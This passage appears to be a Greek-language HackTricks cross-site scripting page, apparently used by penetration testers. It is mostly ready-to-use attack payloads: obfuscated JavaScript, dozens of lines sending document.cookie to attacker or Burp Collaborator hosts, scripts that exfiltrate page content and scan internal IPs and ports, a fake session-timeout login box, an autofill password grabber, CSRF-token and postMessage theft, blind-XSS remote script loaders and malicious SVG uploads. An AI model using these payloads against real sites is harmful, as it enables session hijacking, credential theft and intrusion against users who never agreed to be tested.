[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS κοινά φορτία
Πολλαπλά φορτία σε 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Ανάκτηση Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Δεν θα μπορέσετε να έχετε πρόσβαση στα cookies από το JavaScript εάν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχετε μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί. {% endhint %}
Κλοπή περιεχομένου σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Εύρεση εσωτερικών διευθύνσεων IP
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Σαρωτής Θύρας (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Σαρωτής Θύρας (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Οι σύντομοι χρόνοι υποδεικνύουν ένα θύρα που ανταποκρίνεται Οι μακρύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει ανταπόκριση.
Ελέγξτε τη λίστα των απαγορευμένων θυρών στο Chrome εδώ και στο Firefox εδώ.
Κουτί για να ζητηθούν διαπιστευτήρια
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Καταγραφή αυτόματης συμπλήρωσης κωδικών πρόσβασης
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Όταν εισάγεται οποιαδήποτε δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης στέλνονται στον διακομιστή του επιτιθέμενου, ακόμα κι αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαγοραστούν.
Keylogger
Απλά ψάχνοντας στο github βρήκα μερικά διαφορετικά:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit
http_javascript_keylogger
Κλοπή διακριτικών CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Κλοπή μηνυμάτων PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Κατάχρηση Υπηρεσιών Εργαζομένων
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Πρόσβαση στο Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Πολύγλωττοι
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Πληροφορίες για Blind XSS
Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από αυτή την ανάλυση είναι δυνατόν να μάθουμε ότι ακόμα κι αν μερικές τιμές εξαφανιστούν από τον κώδικα JavaScript, είναι εξακριβωμένο ότι είναι δυνατόν να τις βρούμε σε γνωρίσματα JavaScript σε διαφορετικά αντικείμενα. Για παράδειγμα, η είσοδος ενός REGEX είναι ακόμα δυνατόν να βρεθεί ακόμα και μετά την αφαίρεση της τιμής της εισόδου του REGEX:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Λίστα Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
Εκμετάλλευση XSS άλλων ευπαθειών
XSS στο Markdown
Μπορείτε να εισάγετε κώδικα Markdown που θα εκτελεστεί; Ίσως να μπορείτε να πάρετε XSS! Ελέγξτε:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS προς SSRF
Καταφέρατε XSS σε μια ιστοσελίδα που χρησιμοποιεί caching; Δοκιμάστε να το αναβαθμίσετε σε SSRF μέσω της εισαγωγής Edge Side Include με αυτό το payload:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: XSLT.
XSS σε δυναμικά δημιουργημένα PDF
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να εξαπατήσετε το bot που δημιουργεί το PDF να εκτελέσει αυθαίρετο κώδικα JS.
Έτσι, αν το bot δημιουργού PDF βρει κάποια είδους ετικέτες HTML, θα τις ερμηνεύσει, και μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να προκαλέσετε ένα Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Αν δεν μπορείτε να ενσωματώσετε ετικέτες HTML, μπορεί να αξίζει να δοκιμάσετε να ενσωματώσετε δεδομένα PDF:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS στο Amp4Email
Το AMP, με στόχο την επιτάχυνση της απόδοσης της ιστοσελίδας σε κινητές συσκευές, ενσωματώνει ετικέτες HTML που συμπληρώνονται από JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά στοιχείων για διάφορα χαρακτηριστικά, προσβάσιμα μέσω στοιχείων AMP.
Η μορφή AMP για Email επεκτείνει συγκεκριμένα στοιχεία AMP σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Παράδειγμα εκθεσης XSS στο Amp4Email στο Gmail.
XSS με μεταφόρτωση αρχείων (svg)
Μεταφορτώστε ένα αρχείο ως εικόνα όπως το παρακάτω (από http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Βρείτε περισσότερα φορτία SVG στο https://github.com/allanlw/svg-cheatsheet
Διάφορα Κόλπα JS & Σχετικές Πληροφορίες
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
Πόροι XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακάρετε το αχακάριστο - προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού).
{% embed url="https://www.stmcyber.com/careers" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.